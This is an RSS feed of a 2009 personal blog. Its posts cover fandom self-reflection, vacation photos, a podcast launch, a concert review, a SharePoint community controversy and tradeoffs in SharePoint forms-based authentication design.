<?xml version="1.0" encoding="ISO-8859-1"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0"><channel><title>DylanWolf.com Blog</title><link>http://www.dylanwolf.com/</link><description>DylanWolf.com Blog</description><lastBuildDate>Mon, 06 Jul 2009 18:10:23 GMT</lastBuildDate><generator>PyRSS2Gen-1.0.0</generator><docs>http://blogs.law.harvard.edu/tech/rss</docs><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" href="http://feeds.feedburner.com/DylanWolfBlog" type="application/rss+xml" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com" /><item><title>Check Yourself</title><link>http://feedproxy.google.com/~r/DylanWolfBlog/~3/s889CVqtRMk/</link><description>&lt;p&gt;Yesterday, I got sucked into reading the Something Awful forums because of this thread: &lt;a href="http://forums.somethingawful.com/showthread.php?threadid=3153779&amp;userid=0&amp;perpage=40&amp;pagenumber=1"&gt;Awesome things with HORRIBLE fan bases&lt;/a&gt;. Not just because it was funny, but because it immediately put me into an introspective mode.&lt;/p&gt;

&lt;p&gt;Hilarious as it is, it left me with the realization that I am tremendously annoying. I would like to think of myself as better, but I have taken on the characteristics of the worst of anime, video game, Firefly, and music fandoms, among others. Not that being fans of any of those things makes you annoying, but immersing yourself into the fandoms can be like entering an echo chamber, quickly convincing you that you are both original and funny. (Spoiler warning: you're usually not.)&lt;/p&gt;

&lt;p&gt;I have seen &lt;em&gt;those guys&lt;/em&gt; in every online community I've been a part of. I have run into &lt;em&gt;those guys&lt;/em&gt; at conventions. And left unchecked, I am quickly becoming one of &lt;em&gt;those guys&lt;/em&gt;. To everyone who knows me: I'm so very, very sorry. I will try harder.&lt;/p&gt;

&lt;p&gt;If you are reading this blog, you likely are part of some geeky subculture or another. Even if you think it's a respectable and mature geeky subculture, five or ten minutes in the thread probably couldn't hurt you.&lt;/p&gt;

&lt;p&gt;Of course, my favorite response (of the 20-odd pages I read) was:&lt;/p&gt;

&lt;blockquote&gt;Everything.&lt;br /&gt;&lt;br /&gt;

Someone, somewhere, will ruin what you love. Every time, all the time.&lt;br /&gt;&lt;br /&gt;

&lt;em&gt;Forever.&lt;/em&gt;&lt;/blockquote&gt;

&lt;p&gt;Still, someone hit me next time I reference &lt;em&gt;Family Guy&lt;/em&gt; or &lt;em&gt;Invader Zim&lt;/em&gt;.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;(Before anyone gets too offended, this post is slightly tongue-in-cheek.)&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.dylanwolf.com/etc/171"&gt;More...&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/DylanWolfBlog?a=s889CVqtRMk:HQeYCEQ45rQ:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DylanWolfBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DylanWolfBlog?a=s889CVqtRMk:HQeYCEQ45rQ:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DylanWolfBlog?i=s889CVqtRMk:HQeYCEQ45rQ:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DylanWolfBlog?a=s889CVqtRMk:HQeYCEQ45rQ:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DylanWolfBlog?i=s889CVqtRMk:HQeYCEQ45rQ:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DylanWolfBlog?a=s889CVqtRMk:HQeYCEQ45rQ:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DylanWolfBlog?i=s889CVqtRMk:HQeYCEQ45rQ:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DylanWolfBlog?a=s889CVqtRMk:HQeYCEQ45rQ:G79ilh31hkQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DylanWolfBlog?d=G79ilh31hkQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DylanWolfBlog?a=s889CVqtRMk:HQeYCEQ45rQ:NH2CBxFJOFw"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DylanWolfBlog?d=NH2CBxFJOFw" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DylanWolfBlog/~4/s889CVqtRMk" height="1" width="1"/&gt;</description><guid isPermaLink="false">http://www.dylanwolf.com/etc/171/</guid><pubDate>Mon, 06 Jul 2009 13:10:23 GMT</pubDate><feedburner:origLink>http://www.dylanwolf.com/etc/171/</feedburner:origLink></item><item><title>Photos from St. Augustine</title><link>http://feedproxy.google.com/~r/DylanWolfBlog/~3/fIi_6zCw4S8/</link><description>&lt;div style="float: right; margin: 0 0 1em 1em; border: 1px solid #000;"&gt;&lt;a href="http://www.dylanwolf.com/photos/flickr72157620841850442/3680122123/"&gt;&lt;img src="http://farm4.static.flickr.com/3658/3680122123_5d36ed3634_m.jpg" alt="St. Augustine Lighthouse" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;I finally got all of my photos from our vacation to St. Augustine up on Flickr. I'm trying something a little different than I've done with past vacations or conventions--I'm separating out photos taken at various locations into different photo sets:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt; &lt;a href="http://www.dylanwolf.com/photos/flickr72157620183916929"&gt;Condo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt; &lt;a href="http://www.dylanwolf.com/photos/flickr72157620183430517"&gt;Beach&lt;/a&gt;&lt;/li&gt;
&lt;li&gt; &lt;a href="http://www.dylanwolf.com/photos/flickr72157620841305678"&gt;Old City&lt;/a&gt;&lt;/li&gt;
&lt;li&gt; &lt;a href="http://www.dylanwolf.com/photos/flickr72157620841850442"&gt;Lighthouse&lt;/a&gt;&lt;/li&gt;
&lt;li&gt; &lt;a href="http://www.dylanwolf.com/photos/flickr72157620701529995"&gt;Castillo de San Marcos&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As I &lt;a href="http://twitter.com/dylanwolf/status/2255204031"&gt;mentioned on Twitter&lt;/a&gt;, the condo layout was not at all what we expected, as you'll see in the &lt;a href="http://www.dylanwolf.com/photos/flickr72157620183916929"&gt;Condo&lt;/a&gt; photo set. It actually made for a neat experience (even though we'd never have picked it if we'd known), but it could have been disaster for a different group of people. We expected three bedrooms: a master bedroom, a secondary bedroom, and a loft. What we got was more or less one big room: trundle beds in the living room, a spiral staircase up to the master bedroom, with the loft hanging open over the master bedroom.&lt;/p&gt;

&lt;p&gt;Still, the condo was very nice, and definitely worth it: beachfront access to a private beach, and the surf coming right up to the deck at high tide. Very relaxing.&lt;/p&gt;

&lt;p&gt;In addition, I snapped a couple of photos that ended up on TwitPic: &lt;a href="http://twitpic.com/8hxvo"&gt;the infamous Wolf Shirt was spotted in a gift shop in the Old City&lt;/a&gt;, &lt;a href="http://twitpic.com/8luom"&gt;Georgia made me feel like I was stuck in an inspirational calendar&lt;/a&gt;, and, oh yeah, the ride home &lt;a href="http://twitter.com/dylanwolf/status/2367155924"&gt;absolutely&lt;/a&gt; &lt;a href="http://twitpic.com/8n77s"&gt;sucked&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.dylanwolf.com/etc/170"&gt;More...&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/DylanWolfBlog?a=fIi_6zCw4S8:1Bn7pY1FrLo:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DylanWolfBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DylanWolfBlog?a=fIi_6zCw4S8:1Bn7pY1FrLo:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DylanWolfBlog?i=fIi_6zCw4S8:1Bn7pY1FrLo:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DylanWolfBlog?a=fIi_6zCw4S8:1Bn7pY1FrLo:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DylanWolfBlog?i=fIi_6zCw4S8:1Bn7pY1FrLo:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DylanWolfBlog?a=fIi_6zCw4S8:1Bn7pY1FrLo:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DylanWolfBlog?i=fIi_6zCw4S8:1Bn7pY1FrLo:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DylanWolfBlog?a=fIi_6zCw4S8:1Bn7pY1FrLo:G79ilh31hkQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DylanWolfBlog?d=G79ilh31hkQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DylanWolfBlog?a=fIi_6zCw4S8:1Bn7pY1FrLo:NH2CBxFJOFw"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DylanWolfBlog?d=NH2CBxFJOFw" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DylanWolfBlog/~4/fIi_6zCw4S8" height="1" width="1"/&gt;</description><guid isPermaLink="false">http://www.dylanwolf.com/etc/170/</guid><pubDate>Thu, 02 Jul 2009 00:53:42 GMT</pubDate><feedburner:origLink>http://www.dylanwolf.com/etc/170/</feedburner:origLink></item><item><title>Feel The Func</title><link>http://feedproxy.google.com/~r/DylanWolfBlog/~3/ZOLhhgdTquw/</link><description>&lt;div style="float: right; padding: 0; margin: 0 0 0.25em 0.25em;"&gt;&lt;a href="http://www.feelthefunc.com/"&gt;&lt;img src="http://feelthefunc.com/themes/FeelTheFunc/funcman.png" alt="Feel The Func" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;A little side project I've been involved in, &lt;a href="http://www.feelthefunc.com/"&gt;Feel The Func&lt;/a&gt;, releases today.&lt;/p&gt;

&lt;p&gt;What is Feel The Func? It's the official podcast of FuncWorks.&lt;/p&gt;

&lt;p&gt;FuncWorks is a project organized by &lt;a href="http://www.vinull.com/"&gt;Mike Neel&lt;/a&gt;, &lt;a href="http://www.finsandstems.com/"&gt;Cicelie Caulton&lt;/a&gt;, and myself. It is, to put it simply, a banner under which we're going to work on various side projects--the first one being a website for Cicelie's t-shirt designs (Cicelie, by the way, created the FuncWorks mascot to the right, the &lt;a href="http://www.codestock.org/"&gt;CodeStock logo&lt;/a&gt;, and the CodeStock t-shirts for both 2008 and 2009.)&lt;/p&gt;

&lt;p&gt;The podcast is a chronicle of our weekly planning sessions--think &lt;a href="http://blog.stackoverflow.com/"&gt;Stack Overflow&lt;/a&gt;, but with a mix of marketing, design, and art talk as well as code. The first two episodes, which are up today, revolve around trying to define user personas for the site; later episodes will delve into the code a bit more--which should prove to be interesting, because Mike and I often approach both marketing and design from very different angles.&lt;/p&gt;

&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;a href="http://www.dylanwolf.com/programming/169"&gt;More...&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/DylanWolfBlog?a=ZOLhhgdTquw:YYroRS_O87U:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DylanWolfBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DylanWolfBlog?a=ZOLhhgdTquw:YYroRS_O87U:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DylanWolfBlog?i=ZOLhhgdTquw:YYroRS_O87U:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DylanWolfBlog?a=ZOLhhgdTquw:YYroRS_O87U:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DylanWolfBlog?i=ZOLhhgdTquw:YYroRS_O87U:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DylanWolfBlog?a=ZOLhhgdTquw:YYroRS_O87U:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DylanWolfBlog?i=ZOLhhgdTquw:YYroRS_O87U:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DylanWolfBlog?a=ZOLhhgdTquw:YYroRS_O87U:G79ilh31hkQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DylanWolfBlog?d=G79ilh31hkQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DylanWolfBlog?a=ZOLhhgdTquw:YYroRS_O87U:NH2CBxFJOFw"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DylanWolfBlog?d=NH2CBxFJOFw" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DylanWolfBlog/~4/ZOLhhgdTquw" height="1" width="1"/&gt;</description><guid isPermaLink="false">http://www.dylanwolf.com/programming/169/</guid><pubDate>Tue, 26 May 2009 11:47:02 GMT</pubDate><feedburner:origLink>http://www.dylanwolf.com/programming/169/</feedburner:origLink></item><item><title>Jars of Clay / Seabird at the Bijou</title><link>http://feedproxy.google.com/~r/DylanWolfBlog/~3/C8Y3-PQ9l7M/</link><description>&lt;div style="float: right; margin: 1em;"&gt;&lt;a href="http://www.amazon.com/Long-Fall-Back-Earth/dp/B001U3QP2S/"&gt;&lt;img src="http://ecx.images-amazon.com/images/I/41J9pGDivvL._SL500_AA240_.jpg" alt="The Long Fall Back To Earth" style="border: 1px solid #000;" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;OK, it's been a long time since I've written a &lt;a href="http://www.vinull.com/Post/2008/02/10/a-blog-in-the-life-of-mike-and-cicelie.aspx"&gt;grilled cheese post&lt;/a&gt;, so here goes.&lt;/p&gt;

&lt;p&gt;Monday night I headed to the Bijou in downtown Knoxville to see &lt;a href="http://www.jarsofclay.com/"&gt;Jars of Clay&lt;/a&gt;. This is one of a handful of bands I've really wanted to see live (another being Weird Al, who I caught last summer at the Tennessee Theater), so I pretty much had to go to this concert.&lt;/p&gt;

&lt;p&gt;What I've liked about Jars of Clay is they've had something of an acoustic leaning from what I can tell--I'm notoriously ignorant of musical terminology, but I know I generally like the style. (Although the acoustic thing is more or less true depending on the album--their latest, &lt;em&gt;The Long Fall Back to Earth&lt;/em&gt; has more of an 80's pop influence.) And lyrically, they generally write songs with some sort of meaning behind them, yet they steer clear of the repetitive, shallow Christian rock stereotype. (And, on that note, they never struck me as the type of band that would get preachy in concert--which thankfully proved to be correct.)&lt;/p&gt;

&lt;p&gt;Since Devan and Henry (who owe me a concert after I went to see Ben Folds) had to work and there was a general lack of interest (to put it mildly--let's not forget that I've been accused of liking "wuss rock") from everyone else I asked, I went by myself. Which initially seemed pretty depressing, but turned out that it actually wasn't so bad. I had a seat at the end of a back row so I wasn't absolutely blown away by the speakers (my preferred seating at a concert), and the two guys who were next to me disappeared after the opening act finished. So at a sold-out show, I had the benefit of having two empty seats next to me--great at a smaller venue like the Bijou.&lt;/p&gt;

&lt;p&gt;The opening act, &lt;a href="http://www.myspace.com/seabird"&gt;Seabird&lt;/a&gt;, was pretty good. They reminded me a bit of The Fray, as well as a couple of other bands I just couldn't put my finger on. Not 100% my thing, but I did enjoy them, and I picked up their CD on the way out. I will say they're better live--there's an edge you can't really capture on a studio album.&lt;/p&gt;

&lt;p&gt;Jars put on a good show. There was a fair bit of speaker- and platform-climbing (although nothing as dangerously insane as, say, The Slants), and the lead singer tends to be very active and somewhat dramatic during the more upbeat songs (which works given some of the lyrics, and there seems to be a bit of intentional camp mixed in on occasion). Their set list tended toward some of the harder rock songs ("Work," "Dead Man," "Revolution," "Flood," "Heaven," "Weapons"), with acoustic (guitar-wise, at least) versions of slower songs thrown in as well ("Boys (Lesson One)," "There Might Be a Light," "All My Tears"). They definitely run the gamut as far as musical style goes (I counted at least seven guitars between the two lead guitarists, if that tells you anything.)&lt;/p&gt;

&lt;p&gt;Having seen other set lists from the tour posted online, there were some unexpected surprises at the Knoxville show. (I've heard they take requests via Twitter.) "Frail" is an older song which, AFAIK, was never actually a single, but is a great live song just for the guitar work. They also ended the show with the aforementioned country/bluegrass-tinged version of "All My Tears," a cover from &lt;em&gt;Good Monsters&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;I debated heavily on getting a t-shirt, but unfortunately, the color scheme for &lt;em&gt;TLFBTE&lt;/em&gt; is gray and pink (the 80's thing again, I think)--too pink for me to wear comfortably.&lt;/p&gt;

&lt;p&gt;Overall, a very good concert, and I plan on going to another next time they come through. I didn't take any pictures, but I did manage to find this video clip taken at the show of the last song they played:&lt;/p&gt;

&lt;p style="text-align: center;"&gt;&lt;object width="445" height="364"&gt;&lt;param name="movie" value="http://www.youtube.com/v/PIcjisxleRE&amp;hl=en&amp;fs=1&amp;border=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/PIcjisxleRE&amp;hl=en&amp;fs=1&amp;border=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="445" height="364"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.dylanwolf.com/etc/168"&gt;More...&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/DylanWolfBlog?a=C8Y3-PQ9l7M:Hg3hCXeW-R0:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DylanWolfBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DylanWolfBlog?a=C8Y3-PQ9l7M:Hg3hCXeW-R0:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DylanWolfBlog?i=C8Y3-PQ9l7M:Hg3hCXeW-R0:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DylanWolfBlog?a=C8Y3-PQ9l7M:Hg3hCXeW-R0:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DylanWolfBlog?i=C8Y3-PQ9l7M:Hg3hCXeW-R0:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DylanWolfBlog?a=C8Y3-PQ9l7M:Hg3hCXeW-R0:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DylanWolfBlog?i=C8Y3-PQ9l7M:Hg3hCXeW-R0:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DylanWolfBlog?a=C8Y3-PQ9l7M:Hg3hCXeW-R0:G79ilh31hkQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DylanWolfBlog?d=G79ilh31hkQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DylanWolfBlog?a=C8Y3-PQ9l7M:Hg3hCXeW-R0:NH2CBxFJOFw"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DylanWolfBlog?d=NH2CBxFJOFw" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DylanWolfBlog/~4/C8Y3-PQ9l7M" height="1" width="1"/&gt;</description><guid isPermaLink="false">http://www.dylanwolf.com/etc/168/</guid><pubDate>Thu, 21 May 2009 00:58:59 GMT</pubDate><feedburner:origLink>http://www.dylanwolf.com/etc/168/</feedburner:origLink></item><item><title>SharePoint Knights and the MVP Program</title><link>http://feedproxy.google.com/~r/DylanWolfBlog/~3/yvj0I8yWN3Y/</link><description>&lt;p&gt;I don't know how many of you saw this (because it seemed to be mainly a SharePoint thing), but I thought it was interesting. I say that as someone not familiar with the MVP program, nor particularly outgoing or focused enough to be deep into the community, so it'd be interesting to get other people's reactions. I also say that as someone who didn't pay a great deal of attention to it, other than skimming the blog posts.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://www.sharepointjoel.com/"&gt;Joel Oleson&lt;/a&gt; posted a suggestion for a community-based group called &lt;a href="http://www.sharepointjoel.com/Lists/Posts/Post.aspx?ID=218"&gt;SharePoint Knights&lt;/a&gt;, where membership was based solely on contribution to the community, tracked liked points). Nothing more than brainstorming had been done, but obviously it drew some pretty clear lines within the community.&lt;/p&gt;

&lt;p&gt;It was followed by &lt;a href="http://www.sharepointjoel.com/Lists/Posts/Post.aspx?ID=219"&gt;Luther's 10 Points to the MVP program&lt;/a&gt;, a critique of some of the problems with the program and the reason for creating a separate, community-focused organization alongside the MVP program. And finally, the response to both of these posts was so heated that &lt;a href="http://www.sharepointjoel.com/Lists/Posts/Post.aspx?List=0cd1a63d-183c-4fc2-8320-ba5369008acb&amp;ID=220"&gt;the SharePoint Knights project has been put on hold&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I think he has a point about the politics often involved in community, especially when the public face is to pretend there aren't any politics and everyone's one big happy family. Perhaps Luther's theses were a bad choice for his critiques--here was a man who meant to reform an institution, and instead unintentionally created an enormous rift within it.&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.dylanwolf.com/programming/167"&gt;More...&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/DylanWolfBlog?a=yvj0I8yWN3Y:x0Df48l3pQ4:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DylanWolfBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DylanWolfBlog?a=yvj0I8yWN3Y:x0Df48l3pQ4:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DylanWolfBlog?i=yvj0I8yWN3Y:x0Df48l3pQ4:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DylanWolfBlog?a=yvj0I8yWN3Y:x0Df48l3pQ4:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DylanWolfBlog?i=yvj0I8yWN3Y:x0Df48l3pQ4:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DylanWolfBlog?a=yvj0I8yWN3Y:x0Df48l3pQ4:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DylanWolfBlog?i=yvj0I8yWN3Y:x0Df48l3pQ4:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DylanWolfBlog?a=yvj0I8yWN3Y:x0Df48l3pQ4:NH2CBxFJOFw"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DylanWolfBlog?d=NH2CBxFJOFw" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DylanWolfBlog/~4/yvj0I8yWN3Y" height="1" width="1"/&gt;</description><guid isPermaLink="false">http://www.dylanwolf.com/programming/167/</guid><pubDate>Wed, 06 May 2009 09:34:20 GMT</pubDate><feedburner:origLink>http://www.dylanwolf.com/programming/167/</feedburner:origLink></item><item><title>SharePoint Authentication Fun</title><link>http://feedproxy.google.com/~r/DylanWolfBlog/~3/T_yk077elrA/</link><description>&lt;p&gt;While I have a backlog of blog posts I need to write, this one just hit me, and seems interesting (also, maybe I can get some additional insight).&lt;/p&gt;

&lt;p&gt;The fact that SharePoint uses ASP.NET's forms-based authentication system is very nice. It means you can tap into almost any sort of authentication scheme you want, rather than being bound to Windows logins or Active Directory.&lt;/p&gt;

&lt;p&gt;On the other hand, forms-based authentication doesn't play well with applications that aren't web browsers. (This is, incidentally, why SharePoint gives you the option to turn off client integration.) Pretty much any application that can download data from the web recognizes a 401 status code--but it can't tell the difference between a login page and the content you were expecting.&lt;/p&gt;

&lt;p&gt;You might have encountered this if you've tried to open a Word document from a FBA-secured SharePoint site. If you're lucky, Word will use IE's authentication cookie and work seamlessly. If you're not lucky (and you usually aren't), you end up with the login page as a Word document. Which is, to say the least, not particularly helpful. (I think I read that this is being addressed in Office 2010, but I can't remember where, so it's possible I'm just making this up.)&lt;/p&gt;

&lt;p&gt;Anyway, membership providers. They provide a great deal of flexibility. But they can also box you into a corner in terms of expectations, since most SharePoint-enabled applications assume you're using Windows/Active Directory logins.&lt;/p&gt;

&lt;p&gt;As an example, we have the following situation on a SharePoint project I'm currently working on:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt; Most users will access the site using forms-based authentication (because of other authentication requirements). However, they also have an Active Directory account that they can use to access the site through an alternate access mapping.&lt;/li&gt;
&lt;li&gt; Other users do not have an Active Directory account at all. They will have to access sites via FBA backed by a plain old ASP.NET SQL membership provider (or something similar).&lt;/li&gt;
&lt;li&gt; A key requirement of the project is that data be downloadable for offline use (via products like &lt;a href="http://infonic.com/products.php"&gt;Geo-Replicator&lt;/a&gt; or &lt;a href="http://colligo.com/products/sharepoint/reader_home.asp"&gt;Colligo Reader&lt;/a&gt;--it's not been decided which) for all users. Both of which require an AD login to sync data.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I'm not complaining, of course, because these aren't really pie-in-the-sky requirements that are conflicting. They are all necessary to the product being both useful and secure. But the balancing act is somewhat mind-boggling, because every choice requires some difficulty on the users' part.&lt;/p&gt;

&lt;p&gt;So it's sort of a stalemate. We could in theory keep our options open on the offline use requirement, but it would require setting up a separate AD domain for external users (which is both a maintenance nightmare, and potentially impossible because of security requirements). Or, we can stick with FBA for our external users, which cuts out some of our options for offline-SharePoint products. (Although, interestingly enough, it doesn't negate &lt;em&gt;all&lt;/em&gt; of them.)&lt;/p&gt;

&lt;p&gt;I'm going with the latter, which feels like a hack in certain ways, but it meets all the requirements, satisfies them all as much as possible, and doesn't overly complicate things as part of the compromise.&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.dylanwolf.com/programming/166"&gt;More...&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/DylanWolfBlog?a=T_yk077elrA:XBV5AJdv9y8:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DylanWolfBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DylanWolfBlog?a=T_yk077elrA:XBV5AJdv9y8:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DylanWolfBlog?i=T_yk077elrA:XBV5AJdv9y8:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DylanWolfBlog?a=T_yk077elrA:XBV5AJdv9y8:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DylanWolfBlog?i=T_yk077elrA:XBV5AJdv9y8:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DylanWolfBlog?a=T_yk077elrA:XBV5AJdv9y8:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DylanWolfBlog?i=T_yk077elrA:XBV5AJdv9y8:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DylanWolfBlog?a=T_yk077elrA:XBV5AJdv9y8:NH2CBxFJOFw"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DylanWolfBlog?d=NH2CBxFJOFw" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
